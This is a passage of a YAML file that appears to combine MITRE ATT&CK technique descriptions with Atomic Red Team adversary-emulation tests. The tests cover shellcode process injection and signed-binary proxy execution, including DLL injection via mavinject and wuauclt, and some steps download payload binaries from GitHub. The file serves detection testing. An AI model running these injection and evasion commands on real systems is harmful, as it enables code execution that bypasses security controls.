          & "PathToAtomicsFolder\T1055\bin\x64\RWXinjectionLocal.exe" "#{vuln_dll}" $address
        cleanup_command: Get-Process -Name Notepad -ErrorAction SilentlyContinue |
          Stop-Process -Force
        name: powershell
        elevation_required: true
    - name: Process Injection with Go using UuidFromStringA WinAPI
      auto_generated_guid: 2315ce15-38b6-46ac-a3eb-5e21abef2545
      description: "Uses WinAPI UuidFromStringA to load shellcode to a memory address
        then executes the shellcode using EnumSystemLocalesA.\nWith this technique,
        memory is allocated on the heap and does not use commonly suspicious APIs
        such as VirtualAlloc, WriteProcessMemory, or CreateThread \n- PoC Credit:
        (https://github.com/Ne0nd0g/go-shellcode/tree/master#uuidfromstringa)\n- References:
        \n  - https://research.nccgroup.com/2021/01/23/rift-analysing-a-lazarus-shellcode-execution-method/\n
        \ - https://twitter.com/_CPResearch_/status/1352310521752662018\n  - https://blog.securehat.co.uk/process-injection/shellcode-execution-via-enumsystemlocala\n"
      supported_platforms:
      - windows
      executor:
        name: powershell
        elevation_required: false
        command: "$PathToAtomicsFolder\\T1055\\bin\\x64\\UuidFromStringA.exe -debug\n"
        cleanup_command: 'Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue

          '
    - name: Process Injection with Go using EtwpCreateEtwThread WinAPI
      auto_generated_guid: 7362ecef-6461-402e-8716-7410e1566400
      description: "Uses EtwpCreateEtwThread function from ntdll.dll to execute shellcode
        within the application's process.\nThis program loads the DLLs and gets a
        handle to the used procedures itself instead of using the windows package
        directly.\n\nSteps taken with this technique\n1. Allocate memory for the shellcode
        with VirtualAlloc setting the page permissions to Read/Write\n2. Use the RtlCopyMemory
        macro to copy the shellcode to the allocated memory space\n3. Change the memory
        page permissions to Execute/Read with VirtualProtect\n4. Call EtwpCreateEtwThread
        on shellcode address\n5. Call WaitForSingleObject so the program does not
        end before the shellcode is executed\n\n- PoC Credit: (https://github.com/Ne0nd0g/go-shellcode/tree/master#EtwpCreateEtwThread)\n-
        References: \n  - https://gist.github.com/TheWover/b2b2e427d3a81659942f4e8b9a978dc3\n
        \ - https://www.geoffchappell.com/studies/windows/win32/ntdll/api/etw/index.htm\n"
      supported_platforms:
      - windows
      executor:
        name: powershell
        elevation_required: false
        command: "$PathToAtomicsFolder\\T1055\\bin\\x64\\EtwpCreateEtwThread.exe -debug\n"
        cleanup_command: 'Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue

          '
    - name: Remote Process Injection with Go using RtlCreateUserThread WinAPI
      auto_generated_guid: a0c1725f-abcd-40d6-baac-020f3cf94ecd
      description: "Executes shellcode in a remote process.\n\nSteps taken with this
        technique\n1. Get a handle to the target process\n2. Allocate memory for the
        shellcode with VirtualAllocEx setting the page permissions to Read/Write\n3.
        Use the WriteProcessMemory to copy the shellcode to the allocated memory space
        in the remote process\n4. Change the memory page permissions to Execute/Read
        with VirtualProtectEx\n5. Execute the entrypoint of the shellcode in the remote
        process with RtlCreateUserThread\n6. Close the handle to the remote process\n\n-
        PoC Credit: (https://github.com/Ne0nd0g/go-shellcode/tree/master#rtlcreateuserthread)\n-
        References: \n  - https://www.cobaltstrike.com/blog/cobalt-strikes-process-injection-the-details-cobalt-strike\n"
      supported_platforms:
      - windows
      input_arguments:
        spawn_process_path:
          description: Path of the binary to spawn
          type: string
          default: C:\Windows\System32\werfault.exe
        spawn_process_name:
          description: Name of the process spawned
          type: string
          default: werfault
      executor:
        name: powershell
        elevation_required: false
        command: |
          $process = Start-Process #{spawn_process_path} -passthru
          $PathToAtomicsFolder\T1055\bin\x64\RtlCreateUserThread.exe -pid $process.Id -debug
        cleanup_command: |
          Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue
          Stop-Process -Name #{spawn_process_name} -ErrorAction SilentlyContinue
    - name: Remote Process Injection with Go using CreateRemoteThread WinAPI
      auto_generated_guid: 69534efc-d5f5-4550-89e6-12c6457b9edd
      description: |
        Leverages the Windows CreateRemoteThread function from Kernel32.dll to execute shellocde in a remote process.

        This application leverages functions from the golang.org/x/sys/windows package, where feasible, like the windows.OpenProcess().

        Steps taken with this technique
        1. Get a handle to the target process
        2. Allocate memory for the shellcode with VirtualAllocEx setting the page permissions to Read/Write
        3. Use the WriteProcessMemory to copy the shellcode to the allocated memory space in the remote process
        4. Change the memory page permissions to Execute/Read with VirtualProtectEx
        5. Execute the entrypoint of the shellcode in the remote process with CreateRemoteThread
        6. Close the handle to the remote process

        - PoC Credit: (https://github.com/Ne0nd0g/go-shellcode#createremotethread)
         - References:
          - https://www.ired.team/offensive-security/code-injection-process-injection/process-injection
      supported_platforms:
      - windows
      input_arguments:
        spawn_process_path:
          description: Path of the binary to spawn
          type: string
          default: C:\Windows\System32\werfault.exe
        spawn_process_name:
          description: Name of the process spawned
          type: string
          default: werfault
      executor:
        name: powershell
        elevation_required: false
        command: |
          $process = Start-Process #{spawn_process_path} -passthru
          $PathToAtomicsFolder\T1055\bin\x64\CreateRemoteThread.exe -pid $process.Id -debug
        cleanup_command: |
          Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue
          Stop-Process -Name #{spawn_process_name} -ErrorAction SilentlyContinue
    - name: Remote Process Injection with Go using CreateRemoteThread WinAPI (Natively)
      auto_generated_guid: 2a4ab5c1-97ad-4d6d-b5d3-13f3a6c94e39
      description: |
        Leverages the Windows CreateRemoteThread function from Kernel32.dll to execute shellcode in a remote process.

        This program loads the DLLs and gets a handle to the used procedures itself instead of using the windows package directly.

        1. Get a handle to the target process
        2. Allocate memory for the shellcode with VirtualAllocEx setting the page permissions to Read/Write
        3. Use the WriteProcessMemory to copy the shellcode to the allocated memory space in the remote process
        4. Change the memory page permissions to Execute/Read with VirtualProtectEx
        5. Execute the entrypoint of the shellcode in the remote process with CreateRemoteThread
        6. Close the handle to the remote process

        - PoC Credit: (https://github.com/Ne0nd0g/go-shellcode#createremotethreadnative)
      supported_platforms:
      - windows
      input_arguments:
        spawn_process_path:
          description: Path of the binary to spawn
          type: string
          default: C:\Windows\System32\werfault.exe
        spawn_process_name:
          description: Name of the process spawned
          type: string
          default: werfault
      executor:
        name: powershell
        elevation_required: false
        command: |
          $process = Start-Process #{spawn_process_path} -passthru
          $PathToAtomicsFolder\T1055\bin\x64\CreateRemoteThreadNative.exe -pid $process.Id -debug
        cleanup_command: |
          Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue
          Stop-Process -Name #{spawn_process_name} -ErrorAction SilentlyContinue
    - name: Process Injection with Go using CreateThread WinAPI
      auto_generated_guid: 2871ed59-3837-4a52-9107-99500ebc87cb
      description: |
        This program executes shellcode in the current process using the following steps
        1. Allocate memory for the shellcode with VirtualAlloc setting the page permissions to Read/Write
        2. Use the RtlCopyMemory macro to copy the shellcode to the allocated memory space
        3. Change the memory page permissions to Execute/Read with VirtualProtect
        4. Call CreateThread on shellcode address
        5. Call WaitForSingleObject so the program does not end before the shellcode is executed

        This program leverages the functions from golang.org/x/sys/windows to call Windows procedures instead of manually loading them

        - PoC Credit: (https://github.com/Ne0nd0g/go-shellcode#createthread)
      supported_platforms:
      - windows
      executor:
        name: powershell
        elevation_required: false
        command: "$PathToAtomicsFolder\\T1055\\bin\\x64\\CreateThread.exe -debug\n"
        cleanup_command: 'Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue

          '
    - name: Process Injection with Go using CreateThread WinAPI (Natively)
      auto_generated_guid: 2a3c7035-d14f-467a-af94-933e49fe6786
      description: |
        This program executes shellcode in the current process using the following steps
        1. Allocate memory for the shellcode with VirtualAlloc setting the page permissions to Read/Write
        2. Use the RtlCopyMemory macro to copy the shellcode to the allocated memory space
        3. Change the memory page permissions to Execute/Read with VirtualProtect
        4. Call CreateThread on shellcode address
        5. Call WaitForSingleObject so the program does not end before the shellcode is executed

        This program loads the DLLs and gets a handle to the used procedures itself instead of using the windows package directly.

        - PoC Credit: (https://github.com/Ne0nd0g/go-shellcode#createthreadnative)
      supported_platforms:
      - windows
      executor:
        name: powershell
        elevation_required: false
        command: "$PathToAtomicsFolder\\T1055\\bin\\x64\\CreateThreadNative.exe -debug\n"
        cleanup_command: 'Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue

          '
    - name: UUID custom process Injection
      auto_generated_guid: '0128e48e-8c1a-433a-a11a-a5304734f1e1'
      description: |
        The UUIDs Process Injection code was first introduced by the NCC Group. The code can be stored in UUID forms on the heap and converted back to binary via UuidFromStringA at runtime. In this new custom version of UUID injection, EnumSystemLocalesA is the only API called to execute the code. We used custom UuidToString and UuidFromString implementations to avoid using UuidFromStringA and RPCRT4.dll, thereby eliminating the static signatures. This technique also avoided the use of VirtualAlloc, WriteProcessMemory and CreateThread

        The injected shellcode will open a message box and a notepad.

        Reference to NCC Group: https://research.nccgroup.com/2021/01/23/rift-analysing-a-lazarus-shellcode-execution-method/
        Concept from: http://ropgadget.com/posts/abusing_win_functions.html
      supported_platforms:
      - windows
      input_arguments:
        exe_binary:
          description: PE binary
          type: path
          default: PathToAtomicsFolder\T1055\bin\x64\uuid_injection.exe
      dependency_executor_name: powershell
      dependencies:
      - description: 'Portable Executable to inject must exist at specified location
          (#{exe_binary})

          '
        prereq_command: 'if (Test-Path "#{exe_binary}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{exe_binary}") -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1055/bin/x64/uuid_injection.exe" -OutFile "#{exe_binary}"
      executor:
        command: |-
          Start-Process "#{exe_binary}"
          Start-Sleep -Seconds 7
          Get-Process -Name Notepad -ErrorAction SilentlyContinue | Stop-Process -Force
        cleanup_command: Get-Process -Name Notepad -ErrorAction SilentlyContinue |
          Stop-Process -Force
        name: powershell
        elevation_required: true
  T1205:
    technique:
      modified: '2022-11-08T14:00:00.188Z'
      name: Traffic Signaling
      description: |-
        Adversaries may use traffic signaling to hide open ports or other malicious functionality used for persistence or command and control. Traffic signaling involves the use of a magic value or sequence that must be sent to a system to trigger a special response, such as opening a closed port or executing a malicious task. This may take the form of sending a series of packets with certain characteristics before a port will be opened that the adversary can use for command and control. Usually this series of packets consists of attempted connections to a predefined sequence of closed ports (i.e. [Port Knocking](https://attack.mitre.org/techniques/T1205/001)), but can involve unusual flags, specific strings, or other unique characteristics. After the sequence is completed, opening a port may be accomplished by the host-based firewall, but could also be implemented by custom software.

        Adversaries may also communicate with an already open port, but the service listening on that port will only respond to commands or trigger other malicious functionality if passed the appropriate magic value(s).

        The observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.

        On network devices, adversaries may use crafted packets to enable [Network Device Authentication](https://attack.mitre.org/techniques/T1556/004) for standard services offered by the device such as telnet.  Such signaling may also be used to open a closed service port such as telnet, or to trigger module modification of malware implants on the device, adding, removing, or changing malicious capabilities.  Adversaries may use crafted packets to attempt to connect to one or more (open or closed) ports, but may also attempt to connect to a router interface, broadcast, and network address IP on the same port in order to achieve their goals and objectives.(Citation: Cisco Synful Knock Evolution)(Citation: Mandiant - Synful Knock)(Citation: Cisco Blog Legacy Device Attacks)  To enable this traffic signaling on embedded devices, adversaries must first achieve and leverage [Patch System Image](https://attack.mitre.org/techniques/T1601/001) due to the monolithic nature of the architecture.

        Adversaries may also use the Wake-on-LAN feature to turn on powered off systems. Wake-on-LAN is a hardware feature that allows a powered down system to be powered on, or woken up, by sending a magic packet to it. Once the system is powered on, it may become a target for lateral movement.(Citation: Bleeping Computer - Ryuk WoL)(Citation: AMD Magic Packet)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: command-and-control
      x_mitre_detection: |-
        Record network packets sent to and from the system, looking for extraneous packets that do not belong to established flows.

        The Wake-on-LAN magic packet consists of 6 bytes of <code>FF</code> followed by sixteen repetitions of the target system's IEEE address. Seeing this string anywhere in a packet's payload may be indicative of a Wake-on-LAN attempt.(Citation: GitLab WakeOnLAN)
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      - Network
      x_mitre_is_subtechnique: false
      x_mitre_deprecated: false
      x_mitre_domains:
      - enterprise-attack
      x_mitre_version: '2.4'
      x_mitre_contributors:
      - Tony Lee
      - Josh Day, Gigamon
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Content'
      - 'Network Traffic: Network Connection Creation'
      - 'Process: Process Creation'
      - 'Network Traffic: Network Traffic Flow'
      x_mitre_defense_bypassed:
      - Defensive network service scanning
      type: attack-pattern
      id: attack-pattern--451a9977-d255-43c9-b431-66de80130c8c
      created: '2018-04-18T17:59:24.739Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1205
        external_id: T1205
      - source_name: Bleeping Computer - Ryuk WoL
        description: Abrams, L. (2021, January 14). Ryuk Ransomware Uses Wake-on-Lan
          To Encrypt Offline Devices. Retrieved February 11, 2021.
        url: https://www.bleepingcomputer.com/news/security/ryuk-ransomware-uses-wake-on-lan-to-encrypt-offline-devices/
      - source_name: AMD Magic Packet
        description: AMD. (1995, November 1). Magic Packet Technical White Paper.
          Retrieved February 17, 2021.
        url: https://www.amd.com/system/files/TechDocs/20213.pdf
      - source_name: Mandiant - Synful Knock
        description: Bill Hau, Tony Lee, Josh Homan. (2015, September 15). SYNful
          Knock - A Cisco router implant - Part I. Retrieved October 19, 2020.
        url: https://www.mandiant.com/resources/synful-knock-acis
      - source_name: Cisco Synful Knock Evolution
        description: Graham Holmes. (2015, October 8). Evolution of attacks on Cisco
          IOS devices. Retrieved October 19, 2020.
        url: https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices
      - source_name: Hartrell cd00r 2002
        description: 'Hartrell, Greg. (2002, August). Get a handle on cd00r: The invisible
          backdoor. Retrieved October 13, 2018.'
        url: https://www.giac.org/paper/gcih/342/handle-cd00r-invisible-backdoor/103631
      - source_name: Cisco Blog Legacy Device Attacks
        description: Omar Santos. (2020, October 19). Attackers Continue to Target
          Legacy Devices. Retrieved October 20, 2020.
        url: https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954
      - source_name: GitLab WakeOnLAN
        description: Perry, David. (2020, August 11). WakeOnLAN (WOL). Retrieved February
          17, 2021.
        url: https://gitlab.com/wireshark/wireshark/-/wikis/WakeOnLAN
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1218:
    technique:
      modified: '2024-03-01T16:25:43.150Z'
      name: Signed Binary Proxy Execution
      description: |-
        Adversaries may bypass process and/or signature-based defenses by proxying execution of malicious content with signed, or otherwise trusted, binaries. Binaries used in this technique are often Microsoft-signed files, indicating that they have been either downloaded from Microsoft or are already native in the operating system.(Citation: LOLBAS Project) Binaries signed with trusted digital certificates can typically execute on Windows systems protected by digital signature validation. Several Microsoft signed binaries that are default on Windows installations can be used to proxy execution of other files or commands.

        Similarly, on Linux systems adversaries may abuse trusted binaries such as <code>split</code> to proxy execution of malicious commands.(Citation: split man page)(Citation: GTFO split)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_contributors:
      - Nishan Maharjan, @loki248
      - Hans Christoffer Gaardløs
      - Praetorian
      - Wes Hurd
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Monitor processes and command-line parameters for signed binaries that may be used to proxy execution of malicious files. Compare recent invocations of signed binaries that may be used to proxy execution with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity. Legitimate programs used in suspicious ways, like msiexec.exe downloading an MSI file from the Internet, may be indicative of an intrusion. Correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.

        Monitor for file activity (creations, downloads, modifications, etc.), especially for file types that are not typical within an environment and may be indicative of adversary activity.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Windows
      - Linux
      - macOS
      x_mitre_version: '3.1'
      x_mitre_data_sources:
      - 'Network Traffic: Network Connection Creation'
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Module: Module Load'
      - 'File: File Creation'
      - 'Process: OS API Execution'
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      x_mitre_defense_bypassed:
      - Anti-virus
      - Application control
      - Digital Certificate Validation
      type: attack-pattern
      id: attack-pattern--457c7820-d331-465a-915e-42f85500ccc4
      created: '2018-04-18T17:59:24.739Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1218
        external_id: T1218
      - source_name: GTFO split
        description: GTFOBins. (2020, November 13). split. Retrieved April 18, 2022.
        url: https://gtfobins.github.io/gtfobins/split/
      - source_name: LOLBAS Project
        description: Oddvar Moe et al. (2022, February).  Living Off The Land Binaries,
          Scripts and Libraries. Retrieved March 7, 2022.
        url: https://github.com/LOLBAS-Project/LOLBAS#criteria
      - source_name: split man page
        description: Torbjorn Granlund, Richard M. Stallman. (2020, March null). split(1)
          — Linux manual page. Retrieved March 25, 2022.
        url: https://man7.org/linux/man-pages/man1/split.1.html
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1218
    atomic_tests:
    - name: mavinject - Inject DLL into running process
      auto_generated_guid: c426dacf-575d-4937-8611-a148a86a5e61
      description: 'Injects arbitrary DLL into running process specified by process
        ID. Requires Windows 10.

        '
      supported_platforms:
      - windows
      input_arguments:
        process_id:
          description: PID of process receiving injection
          type: string
          default: '1000'
        dll_payload:
          description: DLL to inject
          type: path
          default: PathToAtomicsFolder\T1218\src\x64\T1218.dll
      dependency_executor_name: powershell
      dependencies:
      - description: 'T1218.dll must exist on disk at specified location (#{dll_payload})

          '
        prereq_command: 'if (Test-Path "#{dll_payload}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{dll_payload}") -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218/src/x64/T1218.dll" -OutFile "#{dll_payload}"
      executor:
        command: 'mavinject.exe #{process_id} /INJECTRUNNING "#{dll_payload}"

          '
        name: command_prompt
        elevation_required: true
    - name: Register-CimProvider - Execute evil dll
      auto_generated_guid: ad2c17ed-f626-4061-b21e-b9804a6f3655
      description: 'Execute arbitrary dll. Requires at least Windows 8/2012. Also
        note this dll can be served up via SMB

        '
      supported_platforms:
      - windows
      input_arguments:
        dll_payload:
          description: DLL to execute
          type: path
          default: PathToAtomicsFolder\T1218\src\Win32\T1218-2.dll
      dependency_executor_name: powershell
      dependencies:
      - description: 'T1218-2.dll must exist on disk at specified location (#{dll_payload})

          '
        prereq_command: 'if (Test-Path "#{dll_payload}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{dll_payload}") -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218/src/Win32/T1218-2.dll" -OutFile "#{dll_payload}"
      executor:
        command: 'C:\Windows\SysWow64\Register-CimProvider.exe -Path "#{dll_payload}"

          '
        name: command_prompt
    - name: InfDefaultInstall.exe .inf Execution
      auto_generated_guid: 54ad7d5a-a1b5-472c-b6c4-f8090fb2daef
      description: |
        Test execution of a .inf using InfDefaultInstall.exe

        Reference: https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSBinaries/Infdefaultinstall.yml
      supported_platforms:
      - windows
      input_arguments:
        inf_to_execute:
          description: Local location of inf file
          type: string
          default: PathToAtomicsFolder\T1218\src\Infdefaultinstall.inf
      dependency_executor_name: powershell
      dependencies:
      - description: 'INF file must exist on disk at specified location (#{inf_to_execute})

          '
        prereq_command: 'if (Test-Path "#{inf_to_execute}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{inf_to_execute}") -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218/src/Infdefaultinstall.inf" -OutFile "#{inf_to_execute}"
      executor:
        command: 'InfDefaultInstall.exe "#{inf_to_execute}"

          '
        name: command_prompt
    - name: ProtocolHandler.exe Downloaded a Suspicious File
      auto_generated_guid: db020456-125b-4c8b-a4a7-487df8afb5a2
      description: 'Emulates attack via documents through protocol handler in Microsoft
        Office.  On successful execution you should see Microsoft Word launch a blank
        file.

        '
      supported_platforms:
      - windows
      input_arguments:
        remote_url:
          description: url to document
          type: url
          default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1218/src/T1218Test.docx
      dependency_executor_name: powershell
      dependencies:
      - description: 'Microsoft Word must be installed

          '
        prereq_command: |
          try {
            $wdApp = New-Object -COMObject "Word.Application"
            Stop-Process -Name "winword"
            exit 0 } catch { exit 1 }
        get_prereq_command: 'Write-Host "You will need to install Microsoft Word manually
          to meet this requirement"

          '
      executor:
        name: command_prompt
        elevation_required: false
        command: |
          FOR /F "tokens=2*" %a in ('reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\Winword.exe" /V PATH') do set microsoft_wordpath=%b
          call "%microsoft_wordpath%\protocolhandler.exe" "ms-word:nft|u|#{remote_url}"
    - name: Microsoft.Workflow.Compiler.exe Payload Execution
      auto_generated_guid: 7cbb0f26-a4c1-4f77-b180-a009aa05637e
      description: 'Emulates attack with Microsoft.Workflow.Compiler.exe running a
        .Net assembly that launches calc.exe

        '
      supported_platforms:
      - windows
      input_arguments:
        xml_payload:
          description: XML to execution
          type: path
          default: PathToAtomicsFolder\T1218\src\T1218.xml
        mwcpath:
          description: Default location of Microsoft.Workflow.Compiler.exe
          type: path
          default: C:\Windows\Microsoft.NET\Framework64\v4.0.30319
        mwcname:
          description: Default name of microsoft.workflow.compiler.exe
          type: path
          default: microsoft.workflow.compiler.exe
      dependency_executor_name: powershell
      dependencies:
      - description: ".Net must be installed for this test to work correctly.\n"
        prereq_command: 'if (Test-Path #{mwcpath}\#{mwcname} ) {exit 0} else {exit
          1}

          '
        get_prereq_command: 'write-host ".Net must be installed for this test to work
          correctly."

          '
      executor:
        command: '#{mwcpath}\#{mwcname} "#{xml_payload}" output.txt

          '
        name: powershell
        elevation_required: false
    - name: Renamed Microsoft.Workflow.Compiler.exe Payload Executions
      auto_generated_guid: 4cc40fd7-87b8-4b16-b2d7-57534b86b911
      description: 'Emulates attack with a renamed Microsoft.Workflow.Compiler.exe
        running a .Net assembly that launches calc.exe

        '
      supported_platforms:
      - windows
      input_arguments:
        xml_payload:
          description: XML to execution
          type: path
          default: PathToAtomicsFolder\T1218\src\T1218.xml
        renamed_binary:
          description: renamed Microsoft.Workflow.Compiler
          type: path
          default: PathToAtomicsFolder\..\ExternalPayloads\svchost.exe
        mwcpath:
          description: Default location of Microsoft.Workflow.Compiler.exe
          type: path
          default: C:\Windows\Microsoft.NET\Framework64\v4.0.30319
        mwcname:
          description: Default name of microsoft.workflow.compiler.exe
          type: path
          default: microsoft.workflow.compiler.exe
      dependency_executor_name: powershell
      dependencies:
      - description: ".Net must be installed for this test to work correctly.\n"
        prereq_command: 'if (Test-Path "#{renamed_binary}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          Copy-Item #{mwcpath}\#{mwcname} "#{renamed_binary}" -Force
      executor:
        command: '&"#{renamed_binary}" "#{xml_payload}" output.txt

          '
        name: powershell
        elevation_required: false
    - name: Invoke-ATHRemoteFXvGPUDisablementCommand base test
      auto_generated_guid: 9ebe7901-7edf-45c0-b5c7-8366300919db
      description: |
        RemoteFXvGPUDisablement.exe is an abusable, signed PowerShell host executable that was introduced in Windows 10 and Server 2019 (OS Build 17763.1339).

        One of the PowerShell functions called by RemoteFXvGPUDisablement.exe is Get-VMRemoteFXPhysicalVideoAdapter, a part of the Hyper-V module. This atomic test influences RemoteFXvGPUDisablement.exe to execute custom PowerShell code by using a technique referred to as "PowerShell module load-order hijacking" where a module containing, in this case, an implementation of the Get-VMRemoteFXPhysicalVideoAdapter is loaded first by way of introducing a temporary module into the first directory listed in the %PSModulePath% environment variable or within a user-specified module directory outside of %PSModulePath%. Upon execution the temporary module is deleted.

        Invoke-ATHRemoteFXvGPUDisablementCommand is used in this test to demonstrate how a PowerShell host executable can be directed to user-supplied PowerShell code without needing to supply anything at the command-line. PowerShell code execution is triggered when supplying the "Disable" argument to RemoteFXvGPUDisablement.exe.

        The Invoke-ATHRemoteFXvGPUDisablementCommand function outputs all relevant execution-related artifacts.

        Reference: https://github.com/redcanaryco/AtomicTestHarnesses/blob/master/TestHarnesses/T1218_SignedBinaryProxyExecution/InvokeRemoteFXvGPUDisablementCommand.ps1
      supported_platforms:
      - windows
      input_arguments:
        module_name:
          description: Specifies a temporary module name to use. If -ModuleName is
            not supplied, a 16-character random temporary module name is used. A PowerShell
            module can have any name. Because Get-VMRemoteFXPhysicalVideoAdapter abuses
            module load order, a module name must be specified.
          type: string
          default: foo
        module_path:
          description: Specifies an alternate, non-default PowerShell module path
            for RemoteFXvGPUDisablement.exe. If -ModulePath is not specified, the
            first entry in %PSModulePath% will be used. Typically, this is %USERPROFILE%\Documents\WindowsPowerShell\Modules.
          type: string
          default: "$PWD"
      dependencies:
      - description: The AtomicTestHarnesses module must be installed and Invoke-ATHRemoteFXvGPUDisablementCommand
          must be exported in the module.
        prereq_command: |-
          $RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable
          if (-not $RequiredModule) {exit 1}
          if (-not $RequiredModule.ExportedCommands['Invoke-ATHRemoteFXvGPUDisablementCommand']) {exit 1} else {exit 0}
        get_prereq_command: 'Install-Module -Name AtomicTestHarnesses -Scope CurrentUser
          -Force

          '
      executor:
        command: 'Invoke-ATHRemoteFXvGPUDisablementCommand -ModuleName #{module_name}
          -ModulePath #{module_path}'
        name: powershell
    - name: DiskShadow Command Execution
      auto_generated_guid: 0e1483ba-8f0c-425d-b8c6-42736e058eaa
      description: 'Emulates attack with a DiskShadow.exe (LOLBIN installed by default
        on Windows) being used to execute arbitrary commands Reference: https://bohops.com/2018/03/26/diskshadow-the-return-of-vss-evasion-persistence-and-active-directory-database-extraction/

        '
      supported_platforms:
      - windows
      input_arguments:
        txt_payload:
          description: txt to execute
          type: path
          default: PathToAtomicsFolder\T1218\src\T1218.txt
        dspath:
          description: Default location of DiskShadow.exe
          type: path
          default: C:\Windows\System32\diskshadow.exe
      dependency_executor_name: powershell
      dependencies:
      - description: txt file must exist on disk at specified location (#{txt_payload})
        prereq_command: 'if (Test-Path "#{txt_payload}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{txt_payload}") -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218/src/T1218.txt" -OutFile "#{txt_payload}"
      - description: DiskShadow.exe must exist on disk at specified location (#{dspath})
        prereq_command: 'if (Test-Path #{dspath}) {exit 0} else {exit 1}

          '
        get_prereq_command: 'echo "DiskShadow.exe not found on disk at expected location"

          '
      executor:
        command: "#{dspath} -S #{txt_payload} \n"
        name: powershell
        elevation_required: false
    - name: Load Arbitrary DLL via Wuauclt (Windows Update Client)
      auto_generated_guid: 49fbd548-49e9-4bb7-94a6-3769613912b8
      description: "This test uses Wuauclt to load an arbitrary DLL. Upon execution
        with the default inputs, calculator.exe will be launched. \nSee https://dtm.uk/wuauclt/\n"
      supported_platforms:
      - windows
      input_arguments:
        arbitrary_dll:
          description: Path of DLL to be loaded
          type: string
          default: PathToAtomicsFolder\T1218\bin\calc.dll
      dependency_executor_name: powershell
      dependencies:
      - description: 'DLL to load must exist on disk as specified location (#{arbitrary_dll})

          '
        prereq_command: 'if (test-path "#{arbitrary_dll}"){exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{arbitrary_dll}") -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1218/bin/calc.dll?raw=true" -OutFile "#{arbitrary_dll}"
      executor:
        command: 'wuauclt.exe /UpdateDeploymentProvider "#{arbitrary_dll}" /RunHandlerComServer

          '
        cleanup_command: taskkill /f /im calculator.exe > nul 2>&1
        name: command_prompt
    - name: Lolbin Gpscript logon option
      auto_generated_guid: 5bcda9cd-8e85-48fa-861d-b5a85d91d48c
      description: |
        Executes logon scripts configured in Group Policy.
        https://lolbas-project.github.io/lolbas/Binaries/Gpscript/
        https://oddvar.moe/2018/04/27/gpscript-exe-another-lolbin-to-the-list/
      supported_platforms:
      - windows
      executor:
        command: 'Gpscript /logon

          '
        name: command_prompt
    - name: Lolbin Gpscript startup option
      auto_generated_guid: f8da74bb-21b8-4af9-8d84-f2c8e4a220e3
      description: |
        Executes startup scripts configured in Group Policy
        https://lolbas-project.github.io/lolbas/Binaries/Gpscript/
        https://oddvar.moe/2018/04/27/gpscript-exe-another-lolbin-to-the-list/
      supported_platforms:
      - windows
      executor:
        command: 'Gpscript /startup

          '
